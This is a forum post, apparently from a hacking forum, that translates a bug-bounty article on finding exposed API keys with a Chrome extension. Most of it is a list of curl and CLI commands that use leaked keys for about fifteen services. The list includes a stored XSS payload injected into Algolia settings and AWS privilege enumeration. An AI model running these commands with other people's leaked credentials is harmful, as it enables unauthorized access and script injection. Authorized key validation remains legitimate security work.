• XSS.stack #1 – первый литературный журнал от юзеров форума

Статья Поиск скрытых ключей API и их использование

NokZKH

Переводчик
Забанен
Регистрация
09.02.2019
Сообщения
99
Реакции
121
Пожалуйста, обратите внимание, что пользователь заблокирован
Всем привет, Меня зовут Sumit Jain. На этот раз я расскажу о том, как найти скрытые ключи API и как их использовать.

API - это ключи к базам данных организации, поэтому важно контролировать, кто имеет к ним доступ. Стандартные способы аутентификации и авторизации, такие как OAuth / OpenID Connect, в сочетании с безопасностью транспортного уровня (TLS), имеют очень важную роль.

Когда API открыты для всех, они сталкиваются с проблемой - следует ли доверять входящим запросам. Является ли запрос клиентом? Или это злоумышленник? В некоторых случаях, даже если API обнаруживает и успешно отклоняет ненадежный запрос, API, тем не менее, может позволить потенциально злонамеренному пользователю повторить попытку - и снова, и снова, и снова. Этот вид контроля безопасности может позволить злоумышленникам отправлять запрос до того момента, пока он не будет принят. Меры противодействия этим атакам включают политики ограничения скорости для запросов дросселирования, двухфакторную проверку подлинности или кратковременный токен доступа, поддерживаемый OAuth.

Как найти открытые / скрытые ключи API
Есть много способов найти эти ключи API. Вы можете вручную посетить их страницу github или проверить их исходный код. Но я рекомендую вам попробовать этот инструмент (KeyFinder): -
KeyFinder является расширением Chrome. Оно разработано Mo'men Basel. Расширение ищет в DOM любую ссылку на скрипт, так как тег скрипта может содержать ключи для конкретного API.


Установка
  1. Скачать или клонировать расширение через https://github.com/momenbasel/KeyFinder.git
  2. Открыть Chrome и перейти к chrome://extensions
  3. Включить «Режим разработчика»
  4. Перетащить в расширения папку keyFinder

Теперь вы можете перейти к своей цели и переходить на различные страницы. Расширение будет автоматически находить скрытые/открытые ключи API.

1.png


В поле поиска вы можете добавить свои ключевые слова вручную, чтобы найти определенные ключи API

После посещения ссылок, нажмите на Result/S, чтобы посмотреть результаты

2.png


Теперь самое интересное, вы нашли несколько ключей и не знаете, что делать дальше.

Ниже приведены подробные сведения о том, как можно использовать конкретные ключи API, найденные в программе Bug Bounty, чтобы проверить, действительны ли они.

1. Коючи API Algolia
Будьте осторожны при выполнении этой команды, поскольку полезная нагрузка может выполняться в административной среде. Рекомендуется использовать более тихую полезную нагрузку (например, XSS Hunter), чтобы доказать возможную атаку межсайтовых скриптов.

Код:
curl --request PUT \
  --url https://<application-id>-1.algolianet.com/1/indexes/<example-index>/settings \
  --header 'content-type: application/json' \
  --header 'x-algolia-api-key: <example-key>' \
  --header 'x-algolia-application-id: <example-application-id>' \
  --data '{"highlightPreTag": "<script>alert(1);</script>"}'

2. Идентификатор ключа доступа AWS & Secret
Установите awscli. Задайте ключ доступа и секретный ключ для переменной среды и выполните следующую команду.

AWS_ACCESS_KEY_ID=xxxx AWS_SECRET_ACCESS_KEY=yyyy aws sts get-caller-identity

Разрешения учетных данных AWS можно определить с помощью Enumerate-IAM. Это дает более широкое представление об обнаруженных привилегиях учетных данных AWS вместо простой проверки сегментов S3.

Код:
git clone https://github.com/andresriancho/enumerate-iam
cd enumerate-iam
./enumerate-iam.py — access-key AKIA… — secret-key StF0q…

3. Slack API токен
curl -sX POST “[URL]https://slack.com/api/auth.test?token=xoxp-TOKEN_HERE&pretty=1[/URL]"

4. Токен доступа к Facebook
https://developers.facebook.com/tools/debug/accesstoken/?access_token=ACCESS_TOKEN_HERE&version=v3.2

5. Идентификатор клиента Github & Secret
curl ‘[URL='https://api.github.com/users/whatever?client_id=xxxx&client_secret=yyyy']https://api.github.com/users/whatever?client_id=xxxx&client_secret=yyyy'[/URL]

6. Twilio Account_sid и токен авторизации
curl -X GET ‘[URL='https://api.twilio.com/2010-04-01/Accounts.json']https://api.twilio.com/2010-04-01/Accounts.json'[/URL] -u ACCOUNT_SID:AUTH_TOKEN

7. Twitter API Secret
curl -u ‘API key:API secret key’ — data ‘grant_type=client_credentials’ ‘[URL='https://api.twitter.com/oauth2/token']https://api.twitter.com/oauth2/token'[/URL]

8. Twitter Bearer token
curl — request GET — url [URL]https://api.twitter.com/1.1/account_activity/all/subscriptions/count.json[/URL]— header ‘authorization: Bearer TOKEN’

9. SendGrid API токен
curl -X “GET” “[URL]https://api.sendgrid.com/v3/scopes[/URL]" -H “Authorization: Bearer SENDGRID_TOKEN-HERE” -H “Content-Type: application/json”

10. MailGun Private Key
curl — user ‘api:key-PRIVATEKEYHERE’ “[URL]https://api.mailgun.net/v3/domains[/URL]"

11. Ключ API Heroku
curl -X POST [URL]https://api.heroku.com/apps[/URL] -H “Accept: application/vnd.heroku+json; version=3” -H “Authorization: Bearer API_KEY_HERE”

12. Mapbox API key
Секретные ключи Mapbox начинаются с sk, остальные начинаются с pk (открытый токен), sk (секретный токен) или tk (временный токен).

curl “[URL='https://api.mapbox.com/geocoding/v5/mapbox.places/Los%20Angeles.json?%20access_token%20=%20ACCESS_TOKEN']https://api.mapbox.com/geocoding/v5/mapbox.places/Los%20Angeles.json?access_token=ACCESS_TOKEN[/URL]"

13. Токен доступа Zendesk
curl https://{subdomain}.zendesk.com/api/v2/tickets.json \ -H “Authorization: Bearer ACCESS_TOKEN”

14. Тревис CI API токен
curl -H “Travis-API-Version: 3” -H “Authorization: token <TOKEN>” [URL='https://api.travis-ci.com/user']https://api.travis-ci.com/user[/URL]

15. Персональный токен Gitlab
curl “[URL]https://gitlab.example.com/api/v4/projects?private_token=[/URL]<your_access_token>"


Переведено специально для https://xss.pro
Переводчик статьи - https://xss.pro/members/177895/
Оригинал - https://medium.com/@sumitcfe/finding-hidden-api-keys-how-to-use-them-11b1e5d0f01d
 


Напишите ответ...
  • Вставить:
Прикрепить файлы
Верх